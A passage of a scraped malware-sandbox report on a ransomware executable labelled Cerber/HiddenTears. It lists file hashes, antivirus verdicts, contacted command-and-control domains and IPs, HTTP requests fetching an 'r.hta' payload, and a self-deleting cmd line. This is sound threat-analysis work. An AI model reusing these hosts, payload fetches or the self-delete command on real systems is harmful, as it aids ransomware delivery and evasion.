bing&utm_medium=cpc/RK=0/RS=jvpwRwg_ANI3SHN68yVUdGpm4H4-&o=hL1H7hmVZ5ihHk7KVFLhJRCYvJtX20YxLPv/+CjY9RangqvGI7SE+VzT6bxEgI9rfDFgkSyS90jaSlSuBJNXAqu4jD2wfAa2IBY6ciIamjH2XvUqPBk/xiezBxXP8Ykof2E5pwy5hM9fiybK1fy0xTvqWweWeFruvm369dDP6BgeC1LLNg7ab8USHCznXwPPH1LiCuTIUwbFyCzwEDPW2ZzBoTCCeHfQ18sPPi1fRZJ3Y+3aXD22FOi4KViSw+y7I2K9D1Zo9LDTICCeimCvdMzWpKJUBjKrEle0VD1yiYDVF2Oqo389fZ7xN/09GBjah3Mpd30pEAgt4ktuX/BqKw+mGr+PehV/Uu3x1A+0p4g=&c=211222956215978291174312&n=FNWphYYkxj41rafMFAatxfLP8ZgH1P7ebcBY81PTyX6mHqgSyZSol88chPdK+gLa6HYQtneYXVurqi0RlRIYqW02Y28A4o8AY6iFNIWQpS4O//U4OJIF9M8B6VpI1hyNWhF0d5gURG0Y67lKBloPqiHu6YN8AKr3Wv3iSIZdEHLnYeopMzHH99c+me16qwZZPiTIw20uFm7/H29nYujeVdHNyfdC0ztKvSr5bPZ/uXF1FzIqIDDTMB9Yd0SNykgLth5vLmSuLM3l8Km91dJ7bBxvTeALwjQ/fHYVpmJrqBJIdZSxl54CZGyD0KKHpWYcZL2qRm/CTA+zHEOTKuoo6Unz3zmINutF/omdhiA5hgtRrGUvxShzGCUSUBK2Ej8/fDZAryYRNhR+a9AAX2dj+p7Il7EhlAeCcHFT/XiuWQJJHPXF3FnBv8BFcHlsFHVUrqqIzCOmu1s3x/jcOXsDcC8ZKSHpGQOneGy8e95pF1K1CCTSNQwYG7k+IpNsqpmuWUgEUnMQQuAeQQWEtxpI7Q==&kgp=0&bd=9 (AV positives: 1/64 scanned on 05/02/2017 15:49:03) URL: http://www.searchstarters.com/trf?q=Flash+Movies&&r=http://r.search.yahoo.com/cbclk/dWU9OTk4Qzk1MzRBMDIyNDhFNSZ1dD0xNDY3OTg1NDkzMjIxJnVvPTg0NTE3NTk4MDgmbHQ9MiZlcz1LR0EzX0l3R1BTLkxHcl9p/RV=2/RE=1468014293/RO=10/RU=http://37001737.r.msn.com/?ld=d3BfcztcRWQDIPTzMloGRuaTVUCUzYIR6wHDexPG-QyDCm9j4iug2N4gcHYkL8u3r9N8Rdfr45YM589hDCWVJDJ2cJnME2IyOno2FJMA6fUHSLM4xICto3SE19cqMds5A-IRTHosVGm2863ZoCWHezqa13syA&u=http://us.wow.com/search?s_pt=source2&s_it=aolsem&s_chn=45&q=a%20free%20movies/RK=0/RS=Ml7JW.JZnwBvRhYWeUeofj1PPWI-&o=SH3xMBvjdNLZFjZ9MQnHzXQ+SpJMMXGiefcG5gAQ8qG9bwnpzUtoWB0Xx0mZzSRNOqY0EIFnEBIU5FEnt1yv0njrdZBqLs0dk6Wd8LkxdNBBjzZIb5fXq3H5jj72ieDMAx9aZI9HlkneE59Dbw1e9aQCt8KwVqKEnV8aZg9JnR0DnjUL7pGmoIIUCt3v5eIXBfocwFA8HwAxtGRqvEDMI8ce/qASv28ZcAtEaOiz0ps71zuHBhBbaDNnr4II/G5gOZperXSOFU1fQx/UoS0vwv1LgcXmr5PwCUunxLVP1u4CHs21snJzaMqcKU6z6RSKLLQBPIQKywS0Lp1FeH6pAg==&c=2102215531093582607612&n=W3kbXnjR4IagxKEr8ccVu/eDbBSWXCKIpPM5zRgxPt7Qj9avIYLjeeayNnUqmsYsBvcCsxYjPXL9NbewpjhjfYxWUZKwkUSIeNWcNeq5E06p4uXDcy+bZNWG9OEUMYNuxD95KR4FXE39rBSkOqxburc+qixOfjy37V6KdLFehSKEV/vQ0DGV36xLKbv2xMG4epeSrzzhrUbpmfnxJJ9opIpzDh/kvUXrOMwndbat34HgwGu23eHOR62ObIqfgaH6AHo+2NdkoaoVBzvEMIbm1XTemvihhdvyup1sywMc1pQHz4QG/83eBwc0hnFheo/vS2QTAgVy3nM9s6k4U0t1Rz4HZo3PRk6rucaFojTabX9q+qBai64fmnu3y0Cd2sXsekdk4FVrxGgDebAtInTuLWjQxPJ+ja+gOzlvch1wfOLjHIpBxvPIAWgI0hHHR/bKZgjLJpAt5DKkFRdAvZcrTRFD9o5KY44VHcUDQtCxxk8ByGooXzEP5JZI9+5+5FN7KA0/aU1XG2EYwZ3+xOgFAsbGCWkyGN+/tUykgAhhU2RQoPKu5mMIIDPgsL2Gzfk+&kgp=0&bd=9 (AV positives: 1/64 scanned on 05/02/2017 15:48:54) URL: http://quickdomainfwd.com/trf?q=Egg+Hunt&&r=http://r.search.yahoo.com/cbclk/dWU9MTdBMkM3NjQ1MzhDNDdFMSZ1dD0xNDY3NjQ1MjU1MDUxJnVvPTg0MzI4MDIxMDcmbHQ9MiZlcz1ITlByQTVJR1BTLkxLZ214/RV=2/RE=1467674055/RO=10/RU=http://37001705.r.msn.com/?ld=d3cgpxcvjS1KGp5eCIE-brmTVUCUz7kcrgQ1sT43vsguQyqEjXiRgNtkCZOCI5tSjGJwa24p_cv7q_spsegG7e_GqaJ3NzJ__XyOfX0miXb_VzUyEhzcyZ8O9vMEiD_Ecu7OLe4CrCyDmJW86Oik_gwHPIRVc&u=http://us.wow.com/search?s_pt=source2&s_it=aolsem&s_chn=37&q=egg%20hunt%2B/RK=0/RS=WKl91tuQe49kdNZzVYYbNibA17U-&o=nRH6JEPAcXukqmGkYgHJkZwgr5+u9BwLl/HB+mvJp7gL3wIhotovxcDJAXkMJ7YQlAqwgMrDpDHyQF/OlGPyBYia5z4JJPU4/FuVSidzAJzOeyg0KrPzI3lfatqObfcEXOt+FBtMVtSYY1RNKlE0vG3QjA/qIN8DCApDCrDZDET+mVza/BLhS/RMsgSwk2yFAJtSWa7MzUKZrxEH0ECCi5xtGHIG3v0Zn1fUoeW7iRrgUA1UdwHB58c2i0rUhIX+7kt/XeuEBzkSD+bnBQxq7LGMlnuWALlr2/YoBWEc7T/qXdRHeGdp+ToBOEbyUMROEppi6rEeUy8t+UV0UtCdig==&c=210821519085545178522951&n=H9FuPN3PK+Gr5iE5a3yOCVmWk/y2fT39eNh2Y16sBDnP6WwijtZYr47ZuKpZQsBDOGSn08lizOxnZhO/b7OYFBKFBmV7Li4BYhjaHP+wjbiLE6RWQNp5FvVWobONZRozIdeZXVkLkjujwJ7Ar7PCjgjSf0y1GX9oq95hpeFVUeECP01goD8TTr7P2tjyrDZLVFXwAdhWWsRUMoO8mfgMqm9hOPel/KoZLicQoeBCNdMsneYSK3tdipv/kvU9JZm0fBGvAKfy+Vo2H6+jlyUKu6JaT7UYmu5348OgtVWczpxVyZ6lnumZyZFcVWt12oHV4jRzegq1RwkcH7TretbcnCCqPLdxGwSpmIKUFZUJQBW22PAiHaiAgHJlKXsGeCDTIcNFvdv0mQpw5BwJX09n9gwa4iW9rL4Nx9il4PabH/lf5IQLU8Qh+jmYg2KGQq/ibpAIqnG8/2mMzRJyv7lERIOGA+iEegspzWJOuQqS0b4=&kgp=0&bd=9 (AV positives: 3/64 scanned on 05/02/2017 15:48:48) File SHA256: 432cef679930a1585b78e27b6227d264055c43d27c138a4fb1085b3fe16a9d6e (AV positives: 1/55 scanned on 05/02/2017 09:46:40) File SHA256: bfd55b9c9142617183e98198212e393807a12824acee521e4740f1ca601a2cba (AV positives: 1/56 scanned on 05/02/2017 06:18:30) File SHA256: 4ba1a0fcc6983b539744a6590920fc4596460833c306bb1531095ada391ab21f (AV positives: 1/57 scanned on 05/02/2017 01:40:33) File SHA256: 4ad465b840cf7a5b5098806a97dd31846b1459fc592bb8021096b7392550389f (AV positives: 1/56 scanned on 05/01/2017 21:41:53) File SHA256: 84049d4494e7a95f127a0ed0fd4ea6798568b86b82e2f6de7bc3c5f56ec8e3a6 (AV positives: 12/62 scanned on 04/28/2017 22:17:04)2b:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==2c:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==2d:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"0852eb3481a7aa30d216f51e187794ecefa11efb72f68c5af5ac0814d2b3fb27","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790438612907,"unified_at":"2026-09-26T16:03:32.907Z","metadata":{"hashes":{"sha256":"0852eb3481a7aa30d216f51e187794ecefa11efb72f68c5af5ac0814d2b3fb27","sha1":"6f1cf17bae8cbeb8ad1143b302de8991d5e6b655","md5":"a4c360caf937410e1908da8840f49b20","sha512":"3ded01cc4ce5ab7d4868cd144b919455530dfaa9393828c0a9ac83cc621752b6ac55662a908b3a1da540e5f4d7b336749f0d091e98f2f21e3665c7a7557cf386","ssdeep":"384:RMDWBa0gJrem/4Lfv7VVxi2NDX1xvz9zaZiOenGAWx1:RxUdJrAlzfz9uZr","ssdeep_chunks":["384:RMDWBa0","384:MDWBa0g","384:DWBa0gJ","384:WBa0gJr","384:Ba0gJre","384:a0gJrem","384:0gJrem/","384:gJrem/4","384:Jrem/4L","384:rem/4Lf","384:em/4Lfv","384:m/4Lfv7","384:/4Lfv7V","384:4Lfv7VV","384:Lfv7VVx","384:fv7VVxi","384:v7VVxi2","384:7VVxi2N","384:VVxi2ND","384:Vxi2NDX","384:xi2NDX1","384:i2NDX1x","384:2NDX1xv","384:NDX1xvz","384:DX1xvz9","384:X1xvz9z","384:1xvz9za","384:xvz9zaZ","384:vz9zaZi","384:z9zaZiO","384:9zaZiOe","384:zaZiOen","384:aZiOenG","384:ZiOenGA","384:iOenGAW","384:OenGAWx","384:enGAWx1","768:RMDWBa0","768:MDWBa0g","768:DWBa0gJ","768:WBa0gJr","768:Ba0gJre","768:a0gJrem","768:0gJrem/","768:gJrem/4","768:Jrem/4L","768:rem/4Lf","768:em/4Lfv","768:m/4Lfv7","768:/4Lfv7V","768:4Lfv7VV","768:Lfv7VVx","768:fv7VVxi","768:v7VVxi2","768:7VVxi2N","768:VVxi2ND","768:Vxi2NDX","768:xi2NDX1","768:i2NDX1x","768:2NDX1xv","768:NDX1xvz","768:DX1xvz9","768:X1xvz9z","768:1xvz9za","768:xvz9zaZ","768:vz9zaZi","768:z9zaZiO","768:9zaZiOe","768:zaZiOen","768:aZiOenG","768:ZiOenGA","768:iOenGAW","768:OenGAWx","768:enGAWx1","384:RxUdJrA","384:xUdJrAl","384:UdJrAlz","384:dJrAlzf","384:JrAlzfz","384:rAlzfz9","384:Alzfz9u","384:lzfz9uZ","384:zfz9uZr"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"file","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":20480,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1499287002000,"last_seen":1689271863000,"last_multi_scan":1689271863000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["ransomware","cerber"]},"stats":{"av":{"malicious_count":20,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":15,"suspicious_count":19,"malicious_count":7,"total":41},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Crypmodadv","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Ransom]/Win32.Crypmodadv","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/ATRAPS.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Heur.Ransom.HiddenTears.1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Heur.Ransom.HiddenTears.1 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/Filecoder.AK trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"HEUR:Ransom/MSIL.LockFile.b","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 004de29f1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-Ransom.Win32.Crypmodadv.xhr","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Generic trojan.lc","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Crypmodadv.epfipm","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Cryptear-A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"Ransom_.4B6E508A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"Ransom_.4B6E508A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/Filecoder.REHF-6763","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Crypmodadv.Win32.118","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Ransom.HiddenTears.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"btc.blockr.io\"\n \"ggzmc76dwcvykik4.1j1dgw.top\"\n \"ggzmc76dwcvykik4.1j1dgw.pw\"\n \"findingresult.com\"\n \"ggzmc76dwcvykik4.1j1dgw.net\"\n \"ggzmc76dwcvykik4.1j1dgw.xyz\"\n \"ggzmc76dwcvykik4.1j1dgw.com\"\n \"ggzmc76dwcvykik4.1j1dgw\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"193.169.135.137:80\"\n \"141.8.226.58:80\"\n \"208.91.196.46:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"%USERPROFILE%\\Desktop\\clock\\ConsoleApplication1\\ConsoleApplication1\\obj\\x86\\Release\\ConsoleApplication1.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Global\\.net clr networking\"\n \"RasPbFile\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesCounterMutex\"\n \"Local\\ZoneAttributeCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking\"\n \"\\Sessions\\1\\BaseNamedObjects\\RasPbFile\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET /api/v1/address/txs/1J1dgwQHvQpsrLssx5pR2PiFZVh3Hw61Fn HTTP/1.1\nHost: btc.blockr.io\nConnection: Keep-Alive\"\n \"GET //api/v1/tx/info/c70cc161846123cd4f530008dd6e70eea191d19dcbcf0d65e6dd83c7b4ca018b HTTP/1.1\nHost: btc.blockr.io\"\n \"GET /r.hta HTTP/1.1\nHost: ggzmc76dwcvykik4.1j1dgw.top\nConnection: Keep-Alive\"\n \"GET /r.hta HTTP/1.1\nHost: ggzmc76dwcvykik4.1j1dgw.pw\nConnection: Keep-Alive\"\n \"GET /?dn=1j1dgw.pw&pid=9POLOCM60&_glst=0&rpid=9POBXPF21 HTTP/1.1\nHost: findingresult.com\nConnection: Keep-Alive\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\d40b99d82652dbbc000d378a824ae296\\mscorlib.ni.dll\" at 6B4C0000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/k ping 0 & del C:\\0852eb3481a7aa30d216f51e187794ecefa11efb72f68c5af5ac0814d2b3fb27.exe & exit\" on 2017-5-2.08:47:50.252","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"cmd.exe\" with commandline \"/k ping 0 & del C:\\0852eb3481a7aa30d216f51e187794ecefa11efb72f68c5af5ac0814d2b3fb27.exe & exit\" (UID: 00060588-00003460)\n Spawned process \"PING.EXE\" with commandline \"ping 0\" (UID: 00060603-00003036)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"\" connecting to 